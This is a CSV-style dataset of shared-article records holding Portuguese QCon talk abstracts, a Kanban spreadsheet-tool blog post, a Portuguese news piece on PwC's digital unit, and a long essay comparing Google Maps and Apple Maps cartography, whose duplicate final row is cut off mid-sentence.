1465251806,CONTENT SHARED,5032631648793129465,2553895156129400476,-5116357167011902854,,,,HTML,https://www.infoq.com/br/presentations/aplicacoes-finaceiras-flexiveis,Aplicações Financeiras Flexíveis através de DSLs na Plataforma Java,"Resumo Nesta palestra, será apresentado um case de uma grande aplicação financeira, em que um conjunto de tecnologias Java foram utilizadas para inovar no desenvolvimento e na arquitetura - de Drools, a DSLs na JVM, a APIs Java do Google e WebSockets. Minibiografia Eder Ignatowicz é Senior Software Engineer da JBoss pela Red Hat, membro do time do Drools e jBPM, possui ampla experiência no desenvolvimento de sistemas financeiros e leciona em diversos cursos de graduação e pós-graduação. É Doutorando e Mestre em Engenharia Elétrica pela Unicamp e Bacharel em Ciência da Computação pela Universidade Estadual de Londrina. O QCon SP enfatiza os tópicos de desenvolvimento mais importantes e inovadores do desenvolvimento de software, apresentados por engenheiros e empreendedores das grandes comunidades de desenvolvimento e arquitetura. Cada QCon é elaborado para oferecer um ambiente que promove aprendizado de alta qualidade e entrosamento entre os participantes, além de inspiração para novos projetos.",pt
1465251873,CONTENT SHARED,-88303961787201909,2553895156129400476,-5116357167011902854,,,,HTML,https://www.infoq.com/br/presentations/refactoring-to-patterns-em-java-8,Refactoring to Patterns em Java 8,"Resumo Nesta palestra vamos mostrar como refatorar seu código Java fazendo uso da programação funcional, design patterns e as novas APIs do Java 8. Será discutido como separar responsabilidades com expressões lambda; como lidar com mudanças de requisitos através do uso de funções de primeira classe. Veja formas de tornar diversos design patterns mais concisos através de expressões lambda. Minibiografia Eder Ignatowicz (@ederign) é Senior Software Engineer da JBoss pela Red Hat, membro do time do Drools e jBPM, possui ampla experiência no desenvolvimento de sistemas financeiros e leciona em diversos cursos de graduação e pós-graduação. É Doutorando e Mestre em Engenharia Elétrica pela Unicamp e Bacharel em Ciência da Computação pela Universidade Estadual de Londrina. Entre 28 de março e 1° de abril, São Paulo recebeu a nona edição brasileira do QCon. Organizado pelo InfoQ Brasil e com palestras selecionadas por um comitê independente, esta edição contou com 3 keynotes, 100 palestras e 13 workshops, totalizando 130 horas de conteúdo, o que levou o QCon São Paulo ao patamar dos maiores QCons mundiais.",pt
1465253777,CONTENT SHARED,5928346445655989915,3217014177234377440,8077668236750639768,,,,HTML,http://emilywebber.co.uk/a-tool-for-tracking-kanban-projects-that-you-can-cut-out-and-keep/,[Tools] A Tool for tracking Kanban projects (that you can cut out and keep) - Emily Webber,"I have been looking around for the right digital tool that will support my physical project wall. I want something that allows me easily to back up information for reference, but more importantly outputs the useful metrics that are important for continuous improvement. A lot of people I know use Trello , which is not bad as a tool that creates a visual representation of the cards, but it doesn't give me the data I want to be able to plan or improve the team's flow. I also had a quick look at KanbanTool , which does offer cycle time and cumulative flow diagrams , but again is more of a replacement to a wall rather than a tool to support one and it's not the prettiest of designs. My solution was to create my own tool in Google Docs, this is a first pass at something that will do what I need and I've started testing it out with my own project already. I'll change it as I need to as I go. I'm sharing it here for anyone to take a look under this Creative Commons Attribution-ShareAlike licence (full terms of usage are here , by creating a copy of the speadsheet you are agreeing to these). If you want to use it, you can create your own copy and edit to make it suitable for your needs. You may will need some knowledge of formulas and scripts (ask me if you need some pointers). I'd love to know if you find it helpful and do actually use it for your own project(s). ** disclaimer: this was the original blog post that went with the tool, the tool has changed a bit since then ** You can find it here How to use it: Add your work items in the tab called ""Work items"" When a card on your physical wall moves into a new column, update the sheet to reflect the date by adding it into the relevant column. (This automatically updates the stage column and the count of cards in each column at the top) Every time you want to record the data in the current state, go to the ""data over time"" sheet and press the ""backup stages"" button (you will want to schedule the script for this to automatically backup if you are using it regularly, I haven't done this here as the sheet is not in use). This will build your data and feed your graphs over time. Doing this will update the cumulative flow diagram, the WIP / delivery rate chart, the lead time data / curves, the forecasting tool and the process control chart. To hide done stories from your view on the ""Work items"" sheet to make it easy to read, use the menu item ""kanban scripts"" and ""hide done items"" Once you have some data, to see how adding stories will change your forecast, change the numbers in the blue boxes on the ""forecasting tool"" Adding new dates also updates the Lead Time sheets, which will record how long things take from being committed to, which gives us averages to plan with and charts to review to see how process improvements help (see the lead time charts) There is also a ""blockers"" sheet, so you can have a single view of what the current issues are and what has happened in the past. Updates To keep this post neat, there is a change log here Big Thanks to.... Hakan Foss for the maths behind the confidence graphs Dan Brown (aka @kanbandan ) for pairing with me on the forecast tool If you have any questions, please ask Happy Kanbanning!",en
1465267165,CONTENT SHARED,5964888566269323942,-6316613156648676087,-378770909400450623,,,,HTML,http://itforum365.com.br/noticias/detalhe/119152/pwc-faz-virada-digital-e-ja-fatura-us-1-bilhao-no-mundo,PwC faz virada digital e já fatura US$ 1 bilhão no mundo,"Transformação Quando se imagina o dia a dia de uma das consultorias conhecidas como as Big Four logo vem à cabeça o ambiente austero herdado dos serviços de auditoria, centenas de engravatados discutindo estratégias e planos de longo prazo nas práticas de advisory, etc. Isso não morreu e nem é a ideia. Mas começa a ganhar força, ao menos na PwC, um ambiente novo, chamado internamente de Plataforma Digital. Mas por que novo? Porque muda o modelo de pensar, agir, negociar, vender e criar. Essa transformação interna para construção de uma área para competir na seara digital - até porque ninguém quer ficar de fora - começou na consultoria há algum tempo por meio de aquisições importantes e se consolida com a criação de centros de excelência e de experiência do cliente, onde se discute, cocria, aprende, experimenta, monta protótipos e se define passos importantes para o futuro de um negócio, seja ele de qual indústria for. A Booz & Company e a BGT talvez sejam as aquisições mais marcantes nesse processo e que ajudaram a fazer com que a área - caçula nessa gigante de 100 anos - já tenha um faturamento de US$ 1 bilhão no mundo. Mas a ideia é crescer e de acordo com um dos sócios e responsável por tecnologias emergentes na Plataforma Digital da PwC no Brasil, Norberto Tomasini. A aposta está na metodologia criada que antecipa, por exemplo, a experiência. Durante uma longa conversa na sede da consultoria na capital paulista, ele passou por diversos detalhes, exemplos de projetos, ainda mantidos em sigilo a pedido dos próprios clientes, e pelas mudanças de forma de pensar até internamente. É possível dizer que nasce da iniciativa uma nova PwC, onde o jeans e a camisa de mangas arregaçada são permitidos, a linguagem utilizada é mais informal e antenada com o que acontece não apenas no universo corporativo e uma equipe com talentos diversificados e que não para de buscar conhecimento. O próprio Tomasini passou no final de 2015 uma temporada nos Estados Unidos para entender o que estava se discutindo de vanguarda nos principais centros de excelência, como o MIT. ""Lá eles já discutem roupas que vão carregar baterias e os desafios futuros com carros elétricos pelo consumo excessivo de energia."" Voltando à metodologia de atuação da PwC na Plataforma Digital, ela passa por estratégia, inovação, experiência, tecnologia, analytics e termina em ativação/otimização. E a grande sacada, como frisou o sócio, está em poder experimentar o ""produto""ou a ""ideia"" muito antes. Ainda hoje, mesmo quando vai se implantar um software ou criar algum tipo de aplicativo, a fase de testes sempre está no final e muito próxima ao lançamento, o que compromete a qualidade de entrega e, consequentemente, a satisfação do usuário. Quem é o dono? Nesse mundo que se cria em torno do digital, que traz uma forma de agir e pensar diferente, não pode ser assim. O usuário penaliza e sem pena. Além da metodologia, algo que tem funcionado e contribuído para a geração de resultados do digital na PwC são os Centros de Experiência. Hoje o principal hub para a América Latina está em Miami, mas a partir de maio São Paulo ganhará uma versão, sendo o primeiro instalado na AL. A área ocupará um andar inteiro no prédio onde está a sede da consultoria, tendo 1 mil metros quadrados dedicados a buscar a melhor forma de o cliente encarar a jornada digital. ""Tenho um problema. A primeira pergunta é: pode resolver com digital? Quando a resposta é sim, hoje levamos alguns clientes para o centro de Miami para um workshop de três dias e ele sai de lá com um vídeo da solução proposta"", explicou Tomasini. Em meio a palestras, interações e discussões, tudo feito com ferramentas de última geração, mesas e lousas digitais, holografias, entre outros, uma equipe da PwC faz uma varredura em tudo o que foi discutido e começa a bolar uma espécie de protótipo, de maneira que o cliente tenha uma ideia mais clara do que está sendo proposto. ""Nós aceleramos a execução digital. Nosso forte está em efetivar propostas, porque o cliente sai com visão de como será o dia a dia após a implantação, isso é mais que um plano de mobilidade, por exemplo."" No Brasil, a expectativa é que a Plataforma Digital tenha oportunidades a explorar equivalentes a quase um terço do faturamento da prática de consultoria de TI. Se pensarmos que é um negócio recente, o volume é bastante interessante. Mas, mais interessante que o dinheiro na mesa, é como e com quem tem acontecido as negociações desse tipo de projeto. Diferentemente do que muitos imaginam, a TI neste caso não tem sido a grande porta de entrada, pelo menos quando se avalia os projetos fechados pela PwC. De acordo com Tomasini e com o sócio líder da área para América Latina, Sérgio Alexandre, as discussões normalmente acontecem com o CEO e, muitas vezes, com o CMO. Para Alexandre, tem sido muito comum o marketing abrir as portas para esse tipo de transformação por já vivenciá-la de certa maneira. Isso não significa, no entanto, que eles dão as costas para a TI. Todo Centro de Experiência tem um líder com DNA de tecnologia até para fazer a ponte entre o CIO e quem estiver liderando o projeto de digital na corporação.",pt
1465272432,CONTENT SHARED,8200662919796009914,-709287718034731589,-7018239913998745013,,,,HTML,http://www.justinobeirne.com/essay/cartography-comparison,Cartography Comparison: Google Maps & Apple Maps,"Google Maps and Apple Maps . Both are the default mapping apps on their respective operating systems ( Android and iOS ). And both are in a race to become the world's first Universal Map  - that is, the first map used by a majority of the global population. In many ways, this makes Google Maps & Apple Maps two of the most important maps ever made. Who will get there first ? And will design be a factor? In this series of essays, we'll compare and contrast the cartographic designs of Google Maps and Apple Maps. We'll take a look at what's on each map and how each map is styled, and we'll also try to uncover the biggest differences between the two. ⚠️ This is an in-depth review, inspired by the styles of Anandtech and John Siracusa . TL;DR : Though they look similar, Google Maps and Apple Maps are different in surprising ways. ( To skip to the Part 1 Summary , click here . ) * * * Four years ago, Google announced that Google Maps had reached one billion unique monthly users . Today, that number is even larger. (Whatever number of Google Maps's users were lost when Apple Maps was released in 2012-Google Maps was back at one billion users by 2014.) One billion is an astounding number-it's one out of every seven people on Earth: It's also far larger than the United States: One billion is so large that even 1% of one billion is huge . It's larger than America's largest city: Put another way, just 1% of Google Maps's user base is larger than all of this : For all of the hype and press surrounding them, notice what's not in the Top 10: Uber , Lyft , AirBnB , Snapchat , WhatsApp , Pinterest , Spotify , Pandora , Netflix , Yelp , Foursquare , Twitter , Periscope , and Amazon- among others. Isn't it interesting that none of these apps made the Top 10 while Apple Maps did ? But then again, Google Maps and Apple Maps aren't just apps- they're also platforms . And as platforms, they're actually inside of many of these other apps. You can't use Uber, for instance, without also using Google Maps, and the same goes for many other apps: * * * So both Google Maps and Apple Maps have really large user bases, and they're not only two of the world's most used apps-they're also inside of many other widely-used apps. Yet given how important they've become, we know relatively little about them. (One of them might become our Universal Map , after all!) It's interesting: I can easily find hundreds of articles that'll tell me the differences between an Apple iPad and a Microsoft Surface, or even the differences between iOS and Android. But I can't find anything comparing Google Maps and Apple Maps, despite how important they've become. And that's a shame, because there are so many questions. For instance: Which map has more labels-Google Maps or Apple Maps? And which map shows more POIs (Points of Interest)? And is one map better than the other at something in particular? We know the exact color gamut of the Apple iPad-but surprising little about our future Universal Map. Well... That ends today. The columns above look very similar - but would you believe that the maps are actually very different? To even what's labeled on the maps themselves: As you can see, the maps are more different than they appear at first glance . And each map shows a surprisingly different view of the world. We'll be examining these differences, and many others, as we continue on. * * * At its heart, this series of essays is a comparison of the current state of Google's and Apple's cartography. But it's also something more: an exploration into all of the tradeoffs that go into designing and making maps such as these. These tradeoffs are the joy of modern cartography - the thousands of tiny, seemingly isolated decisions that coalesce into a larger, greater whole. Our purpose here is not to crown a winner, but to observe the paths taken - and not taken. We'll look at 54 pairs of maps of three different cities: New York, San Francisco, and London. Each pair shows an identical area, pixel for pixel, on Google Maps and Apple Maps - at the exact same zoom: Speaking of New York , we'll center all of the New York map pairs on the Empire State Building: * * * For San Francisco , we'll center the map pairs on Patricia's Green, a park in the center of the Hayes Valley neighborhood: * * * And for London , we'll center the map pairs on Nelson's Column in Trafalgar Square: Why are we looking at New York, San Francisco, and London-and not some other cities or areas? First, we want to look at areas where the maps are most likely to be ""finished"" (i.e., areas where the maps are most likely to be complete and up-to-date.) San Francisco is Google's and Apple's backyard, so the maps should be really good there. And New York and London are two of the world's largest, most important cities-so they should've also gotten a lot of attention. We also want to look at very dense cities, cities where there'd be an enormous number of candidates for things to label . New York and San Francisco are the U.S.'s two densest major cities. And London is the E.U.'s largest city. Because of this ""density"" requirement, rural areas won't work for our purposes . In a typical rural area, the things that are labeled are the area's things-and Google and Apple are likely to label the same things. For this study, we want to see what Google and Apple label when they have thousands of things to choose from . We'll choose the Empire State Building, Patricia's Green, and Nelson's Column because they are all close to the centers of their respective cities , and they're all likely to have a variety of different things around them. Finally (and not coincidentally), San Francisco, New York, and London were the three cities where my recent essay, What Happened to Google Maps? , received the most views. (Thank you to everyone who enjoyed and shared that essay! ��) A couple of other notes before we begin: We're only looking at the maps themselves. (Search results, Turn-by-Turn navigation, Street View, Aerial / Satellite imagery, and Traffic displays are all out-of-scope.) We want to see what a map designed for a billion people looks like, so we're only looking at the default maps. (We'll look at map personalization in a later essay. Google offers it; Apple doesn't.) The map screenshots reflect the default , out-of-the-box experience that someone would have upon using them for the very first time. (The screenshots were taken on fresh installs, with clear browser caches - and no accounts were signed into, nor were any searches performed.) All maps, data, and screenshots reflect Google Maps and Apple Maps as they appeared on Saturday, May 14th, 2016. * * * For Part 1, we'll look at three core parts of the map: Cities , Roads , and Places. But how does Apple Maps compare? Does it show more cities than Google? Or fewer? Let's investigate... First, let's take all of our map pairs and count the number of city labels on them: Interesting. On nearly every zoom with city labels, Apple labels more cities than Google . To get a better sense of the differences, let's plot our counts above into a set of graphs: As the graphs show, there's certainly some big differences: Apple is labeling more cities than Google-and in many cases, significantly more . Let's combine the three cities into a single chart and see if we can see any patterns: Much clearer. And look what it shows: Apple, on average, labels more cities than Google at every zoom. The graph tells us that the biggest difference between Google and Apple is at z8. Let's take a look at that zoom across our three cities: First, New York: What a difference! Apple is showing way more cities than Google. It's not even close. (Here, Apple labels 44 cities, while Google labels just 10 .) I wonder why Google doesn't label more cities here? Let's look at San Francisco next: The pattern continues: Apple labels 48 cities, while Google labels just 13 . Though these are the most extreme examples, our graph showed that Apple, on average, labels more cities than Google at zoom. So to answer our first question, Apple Maps generally labels more cities than Google Maps on the maps we looked at . * * * We also saw in What Happened to Google Maps? that the number of roads shown on Google Maps has actually over time: How does that compare to Apple Maps? And which map-Google Maps or Apple Maps-shows more roads overall? Let's investigate that next... �� INVESTIGATION #2 Which Map Shows More Roads? Did you know that the first twelve zooms on each map only show a fraction of an area's actual roads? For instance, these are the roads that Google shows on its eighth zoom-level: And these are the area's actual roads, compared to the roads that Google shows: In the image on the left, you can clearly see where all of the Bay Area's cities are: there's so many roads in some areas (such as San Francisco), all we see are dark blobs. It looks cool, doesn't it? Now look at the image on the right. Google Maps is showing only a tiny fraction of the roads shown on the left. But that's by design. If Google showed all of the area's roads at this zoom, the map would be a cluttered mess, and it'd be difficult to trace any individual road. So Google instead simplifies the map and shows just a selection of the area's most important roads. Apple actually does the same-notice that it also doesn't show all of the Bay Area's roads at this zoom: So neither Google Maps nor Apple Maps shows all of the area's roads at this zoom: Interesting, isn't it? Which map-Google Maps or Apple Maps-shows more roads at more zooms? Let's tally it up: For almost two-thirds of the zooms, Google and Apple show roughly the same number of roads . But for the remaining zooms, where one map shows more roads than the other, it's almost always Apple that's showing more roads. So now that we've looked at roads, let's look at road labels ... which map shows more? * * * There are actually two kinds of road labels on Google Maps and Apple Maps: shields and text labels: Which map shows more of each? First, let's look at shields . We'll start by counting the number of shields on each zoom: Interesting. Now, Google's totals are higher for every city. Let's plot the counts: Our graphs show that Google almost always has more shields than Apple - especially at earlier zooms. In the first graph, the New York one, there's a huge difference at z8. Isn't that the same zoom we looked at a little earlier? The one where Apple labeled far more cities than Google? Let's take another look: Here, Google has 9 shields, while Apple has just 1 . So maybe that's the answer to our earlier question? ( ""Why doesn't Google label more cities here?"" ) Google is prioritizing over-while Apple is prioritizing over! I'm having déjà vu. Are you? Google, on average, shows significantly more shields at earlier zooms, while Apple shows more shields than Google after z12 (but not nearly as many as Google shows early on). This is quite different than what we saw with the city labels... Now that we've looked at shields, what about text labels for roads? Remember, those are the other kind of road labels on Google Maps and Apple Maps: It looks as if things are a bit closer here than they were for the shields - that is, except in London, where there's a wide difference early on, at z12 . Let's average the cities together: Google Maps, on average, shows more text labels for roads at every zoom . Looking at the graph above, there's still a big difference at z12 -the same zoom we saw that huge difference in London on the smaller graphs. Let's see what's going on there in London: Interesting. There's no shields on Google's map-instead, the route numbers are labeled as text. It actually seems to make the map look nicer. ( Perhaps this has something to do with local cartographic expectations? We'll take a look at that in one of the next essays. ) Labeling the roads with text instead of shields, Google ends up with 37 text labels at this zoom. Meanwhile, Apple has just a single text label entirely within view. That's quite a difference, but our graph showed that the largest difference, on average, was actually at z13 . Let's check out that zoom-but since we just looked at London, let's look at a different city. We'll look at San Francisco instead: Comparing the two maps, it certainly looks as if Google shows more text labels for roads. Let's count them up: Google has 28 text labels for roads, while Apple has just 7 ( 25% of Google's count ). And Google labels more of San Francisco's main streets: Market , Divisadero , Mission , Valencia , Guerrero , Dolores , Folsom , Franklin , Gough , Columbus , and Castro are all labeled on Google's map-but missing on Apple's. These are very different maps! So far, we've counted shields and text labels separately. And Google tended to show more of each. Let's quickly add up the totals for both shields and text labels to see the number of road labels on each map: Google Maps, on average, labels more roads than Apple Maps -in some cases, significantly more- on all but two zooms . This is especially interesting, given that Apple shows more roads than Google. Looking at the graph above, the biggest average difference in road labels between the two maps is at z9 . Let's take a quick look at that zoom across our three cities: We're seeing some really interesting results so far: Apple is labeling more cities . And Apple is also showing more roads . But Google has more road labels . Our z8 maps from earlier capture the pattern better than any map we've seen so far: The Google map has more road labels - 19 more than Apple . And the Apple map has more city labels - 34 more than Google . Two very different views of the same area! I keep thinking of our subway maps from What Happened to Google Maps? : Similar to subway maps, our maps below are simple network maps. The cities are the , and the roads are the . And there's basically nothing else labeled on these maps, other than cities and roads (lines and stations) : But it's strange: Google is good at labeling the lines-but not the stations. And Apple's good at labeling the stations-but not the lines. We're only getting half of the picture on each map. And both maps seem imbalanced, don't they? If only we could take the best of both maps above-Google's road labels and Apple's city labels-and somehow combine them together... Let's try a little experiment with our two z8 maps: We'll take the Google Map, but we'll remove its city labels-and we'll take the Apple Map, and we'll remove its shield: (The maps actually don't look too different with those labels removed.) Now let's combine the two maps together: And let's make it even larger: The information density on the combined map is interesting. Perhaps a bit too busy, but certainly interesting. And at least we're now seeing the whole picture. * * * So far, we've only been looking at Cities and Roads . Let's move on to a different part of the map: Places . Most paper maps never had enough room to show every ""place"" on them. Instead, they labeled a selection of an area's most interesting and important places, calling them "" Points of "" or "" POIs "", for short. But today, with multiple zoom-levels, there's plenty of room to show everything. Small businesses, apartment buildings, and even homes -  no place is too small or too unimportant to be shown on today's maps . It's hard to overstate just how big of a change this has been. Google only started adding labels and icons for businesses to its maps six years ago . But like a contagion, those little place icons have spread and multiplied to every corner of the map - and in doing so, they've quickly become a core, expected feature. The "" POI"" is dead - because today, every place is of interest . Given how important "" Places "" have become, let's find out which map-Google Maps or Apple Maps-labels more of them. First, we'll count up the total number of places on each zoom. Ah, there's our culprit: look at all of those Tube stations that Google is labeling at this zoom. Comparing the two maps, those Tube stations really add up! They help give Google a total of 38 places-versus just 14 for Apple: There really isn't much of a difference here: on average, it's less than five across all zooms. So for now, we'll conclude that Google Maps and Apple Maps label a similar number of places . * * * Now that we've seen that Google and Apple label a number of places, are they labeling the places? Or different places? Let's investigate that next... It's a super interesting question: how often are the pairs of maps labeling the exact same places (e.g., the exact same businesses, the exact same landmarks, the exact same parks, etc.)? For example, take these New York maps at z14: There are just 5 places that are labeled on both maps: Times Square, Bryant Park, Grand Central Terminal, the Empire State Building, and the Flatiron Building. But Google is actually labeling 24 places in total, while Apple is labeling 16 : That means that out of a combined total of 35 unique places on both maps, the two maps have only 5 places in common . That's really surprising. But is it the same for all zooms? Let's take all of our map pairs and count the number of place labels that both maps have in common: Now, let's take those totals and divide them by the total number of unique places on both maps, and see what kind of percentages we get: Wow. In New York, both maps have only 15% percent of their place labels in common! And in London, it's even lower-at just 13%! So, "" How often were the same places shown on both maps?"" Not often at all. And once again, the maps are very different from each other! * * * So as we just saw, the maps don't seem to label the exact places. But do they generally show the same of places? Let's look at that next... In a dense city like New York, there's so many different kinds of places: hospitals, parks, homes, schools, grocery stores, fire stations, skyscrapers, government buildings, cathedrals, universities-the list goes on and on, and it's seemingly endless. Take the maps below: there are thousands of different places that could've been labeled on either of these maps: But similar to what we saw with all of the Bay Area's roads, it would be impossible to show everything that's actually there and still have a legible map: Instead, the maps show just a tiny selection of everything that's actually there. Remember Faisal's picture of the Empire State Building at the beginning of this essay? That's a picture of the same area shown in the maps above. There's a lot of places there! But how do Google and Apple choose these places? (They had thousands to choose from-how did they end up with these ?) And are there specific kinds of places favored by each map? Let's dig into this more... First, we'll divide all of the places on Google Maps and Apple Maps into eight simple categories: Things to Do & See : Landmarks & attractions, entertainment (theaters, stadiums, and nightclubs), and recreation (parks and other spaces). Eat & Drink : Restaurants, bars, coffee shops, etc.-anywhere you can be served prepared food and beverages. Shopping & Services : Banks, hotels, shops, stores, markets, etc. Airports Transit Stations : Train and subway stations, bus and streetcar stops. Universities Hospitals Other : Anything that doesn't fit into the other seven categories: corporate headquarters, apartment buildings, homes, etc. Now that we have our eight categories, let's count how many categories appear on each map. We'll do it like this for each pair: And next, let's plot and average those counts: Interesting. At nearly every zoom, Apple Maps is showing a greater number of categories . Though given what we saw in New York (Apple showed five categories, while Google showed four), perhaps it isn't too surprising? Let's take a closer look at each zoom, and see if we can find some other patterns... While we were counting the number of categories on each zoom, I also recorded the number of places for each category shown: Interesting, isn't it? The two maps are really different. Early on, Apple shows airports , while Google shows transit stations . And then as you continue zooming in, both start showing a greater variety of places-though Apple shows a greater variety overall (just as we saw in our graphs). And this certainly matches the map we just looked at-there are lots of transit stations on Google's map and a greater variety of place categories on Apple's: Let's see if we see the same pattern in San Francisco: Here in San Francisco, we're generally seeing fewer places per zoom than we did in New York, but the results are largely the same: Google is prioritizing transit after the first few zooms, while Apple is prioritizing landmarks. Looking at the bar graphs above, z13 looks like one of the most different zooms between the two-let's take a closer look: Ah, this is that zoom where Apple showed very few text labels for roads. Remember that? But perhaps now we see why: Apple is actually showing a greater number of places here than Google ( 15 for Apple, versus 6 for Google). With so many more places labeled on the map, there's probably less room for road labels-hence, the lower road label count we saw earlier. But let's test this theory. First, we'll merge the two z13 maps together: Now, let's look and see if any of Google's road labels collide with Apple's places. Look at that! Apple's place labels collide with seven of Google's road labels. In other words, those place labels are occupying space on the map where roads could've been labeled. That's why we saw the lower road label count on Apple earlier. It's interesting, isn't it? Google is prioritizing roads , while Apple is prioritizing places . And that's why were seeing such noticable differences in the counts. But even when it comes to places , the maps are prioritizing different things: Above, Google is again prioritizing transit places, while Apple is prioritizing landmark places. And Apple is also showing a couple of hospitals and a famous bakery. What's more important on a map like this? Transit? Or landmarks and hospitals? Each map voted with its pixels, and it's interesting to see. (And here we're also seeing the argument for map personalization :Not everyone uses transit, so there might be places-such as landmarks-that are more important to some people. And when it's life-and-death, hospitals are the most important places in the world. But how often does the average person visit a hospital? Personalized maps are better at surfacing the most appropriate places for each person; but for the default map, still has to be chosen ... and that's what we saw above.) Do the patterns we've seen for New York and San Francisco also hold for London? Let's see: Ah, it's all of those Tube and rail stations we saw earlier. The icons don't have text attached to them, so Google is able to pack lots of them onto the map. (34 in total.) It's a clever way of increasing the map's information density: the icons give just enough information that you know that they're Tube stations-and without text, Google can fit even more of them on the map. That's why Google's count is so high at this zoom. Now that we've looked at each city individually, let's average them together to see the overall pattern: Google Maps prioritizes transit stations for several zooms, while Apple generally labels more landmarks . And as you zoom in, both maps show a increasing variety of categories. Both maps also show a surprising number of restaurants (the yellow parts of the bar graphs). But notice that the restaurants don't start appearing until later zooms. And that's another interesting point, isn't it? The places that each map feels are more important are shown earlier, while the places that each map feels are less important are shown later. It's clear that Google thinks transit is important, while Apple thinks that airports , hospitals , and landmarks are important. Two very different views of the world! Now that we have data on the kinds of places shown at each zoom, let's look at how balanced an average is on both maps: We'll use pie charts: A zoom is generally ""balanced"" if no single category comprises more than 50% of its places. And as you can see from the pie charts above, Google isn't particularly balanced for the first nine zooms it labels places on. And in comparison to Google, Apple generally has a better balance of place labels per zoom, overall. We've looked at the place categories that are shown on each zoom - but what about all zooms, taken together? Which category does each map show the ,across all zooms? In other words, which category is each map's favorite? Let's investigate this one last thing... We'll start by adding up all of the place labels in each city, across all zooms: Ok. Now, let's average all of the place labels across our three cities: More than anything else, Google Maps is labeling transit stations , while Apple is labeling landmarks . And Apple, on average, also shows twice as many restaurants and stores than Google. Interesting, isn't it? The maps are very different! Everything said, the number of transit stations labeled is clearly the largest difference between the two -and Google labels far more than Apple. And that's actually quite intriguing, given that Google also offers a dedicated transit map. But that's an interesting question, isn't it? If there's already a dedicated transit map, why not use the main map as an opportunity to show different, non-transit places? Then again, transit stations are important visual cues for way-finding -  even if you're not actually ""taking"" transit . And when transit stations are labeled with text, they actually double as area labels (e.g., Leicester Square, Charing Cross, Piccadilly Circus), adding even more detail to the map: So there's definitely value in labeling transit stations on the main map. But is that value still there if all of the stations aren't shown? For example, take another look at our San Francisco maps from earlier - the ones where Google prioritized transit and Apple prioritized landmarks and hospitals: If you're familiar with San Francisco, you might notice that even though Google is prioritizing transit, half of the BART stations are actually missing: There's actually a handful of stations missing here too: The missing stations provoke an interesting design question: if you can't label all of a system's stations, should be labeled? In other words, is it deceptive to only label some stations? (Some people using the map-tourists, especially-may not realize that some of the system's stations aren't labeled.) We saw earlier in San Francisco that Google seemed to be prioritizing road labels over place labels: Perhaps this is what's actually causing the missing BART stations? Notice below that road labels cover two of the missing BART stations, while the third missing station is clipped by the label for Downtown San Francisco (i.e., the ""Financial District"" label): There's so many things to label at this zoom (roads, places, districts, etc.), in such limited space-and only a handful of things can fit. Perhaps this is why Apple doesn't even seem to try to label transit stations? (Perhaps it knows that, with everything else that has to be labeled, it can't fit all of the stations?) Similar to Google, Apple also offers a dedicated transit map. And you get the sense that because Apple offers one, it instead uses its default map as an opportunity show different, non-transit places. Is that what's really going on? We don't know-but it's certainly interesting to observe such different approaches! And it goes to show just how difficult cartography really is: seemingly small decisions, such as prioritizing road labels over place labels, can impact the larger map in unexpected ways (such as preventing all of a city's transit stations from appearing together at the same zoom). It's all really fascinating. ▪︎ End of Part 1 We looked at 54 pairs of maps across three cities (New York, San Francisco, and London) and found several significant differences: Apple Maps, on average, labels more cities than Google at every zoom. Google Maps, on average, labels more roads than Apple on nearly every zoom. For two-thirds of zooms, both maps generally show the same number of roads . For the remaining third, Apple almost always shows more roads. Both maps, on average, label a similar number of POIs -but have only 15% of their POIs in common on an average zoom. Both maps also prioritize different kinds of POIs : Google Maps heavily prioritizes transit , while Apple prioritizes landmarks . Apple also generally shows a greater number of POI categories on a given zoom-and shows twice as many restaurants and shops as Google. We've covered a lot of ground, but we're just getting started. Now that we've looked at three important parts of the map (Cities, Roads, and Places), we'll turn our attention to what's on the maps, as a whole. For example, which map has more labels? And which map is more detailed overall? And does one map show things that the other map doesn't? It's only going to get more interesting. I hope you'll join me for Part 2 - coming soon. Justin O'Beirne | June 2016 Thank you to Faisal Yaqub and David Castor for contributing original photography.",en
1465272538,CONTENT REMOVED,8200662919796009914,-709287718034731589,-7018239913998745013,,,,HTML,http://www.justinobeirne.com/essay/cartography-comparison,Cartography Comparison: Google Maps & Apple Maps,"Google Maps and Apple Maps . Both are the default mapping apps on their respective operating systems ( Android and iOS ). And both are in a race to become the world's first Universal Map  - that is, the first map used by a majority of the global population. In many ways, this makes Google Maps & Apple Maps two of the most important maps ever made. Who will get there first ? And will design be a factor? In this series of essays, we'll compare and contrast the cartographic designs of Google Maps and Apple Maps. We'll take a look at what's on each map and how each map is styled, and we'll also try to uncover the biggest differences between the two. ⚠️ This is an in-depth review, inspired by the styles of Anandtech and John Siracusa . TL;DR : Though they look similar, Google Maps and Apple Maps are different in surprising ways. ( To skip to the Part 1 Summary , click here . ) * * * Four years ago, Google announced that Google Maps had reached one billion unique monthly users . Today, that number is even larger. (Whatever number of Google Maps's users were lost when Apple Maps was released in 2012-Google Maps was back at one billion users by 2014.) One billion is an astounding number-it's one out of every seven people on Earth: It's also far larger than the United States: One billion is so large that even 1% of one billion is huge . It's larger than America's largest city: Put another way, just 1% of Google Maps's user base is larger than all of this : For all of the hype and press surrounding them, notice what's not in the Top 10: Uber , Lyft , AirBnB , Snapchat , WhatsApp , Pinterest , Spotify , Pandora , Netflix , Yelp , Foursquare , Twitter , Periscope , and Amazon- among others. Isn't it interesting that none of these apps made the Top 10 while Apple Maps did ? But then again, Google Maps and Apple Maps aren't just apps- they're also platforms . And as platforms, they're actually inside of many of these other apps. You can't use Uber, for instance, without also using Google Maps, and the same goes for many other apps: * * * So both Google Maps and Apple Maps have really large user bases, and they're not only two of the world's most used apps-they're also inside of many other widely-used apps. Yet given how important they've become, we know relatively little about them. (One of them might become our Universal Map , after all!) It's interesting: I can easily find hundreds of articles that'll tell me the differences between an Apple iPad and a Microsoft Surface, or even the differences between iOS and Android. But I can't find anything comparing Google Maps and Apple Maps, despite how important they've become. And that's a shame, because there are so many questions. For instance: Which map has more labels-Google Maps or Apple Maps? And which map shows more POIs (Points of Interest)? And is one map better than the other at something in particular? We know the exact color gamut of the Apple iPad-but surprising little about our future Universal Map. Well... That ends today. The columns above look very similar - but would you believe that the maps are actually very different? To even what's labeled on the maps themselves: As you can see, the maps are more different than they appear at first glance . And each map shows a surprisingly different view of the world. We'll be examining these differences, and many others, as we continue on. * * * At its heart, this series of essays is a comparison of the current state of Google's and Apple's cartography. But it's also something more: an exploration into all of the tradeoffs that go into designing and making maps such as these. These tradeoffs are the joy of modern cartography - the thousands of tiny, seemingly isolated decisions that coalesce into a larger, greater whole. Our purpose here is not to crown a winner, but to observe the paths taken - and not taken. We'll look at 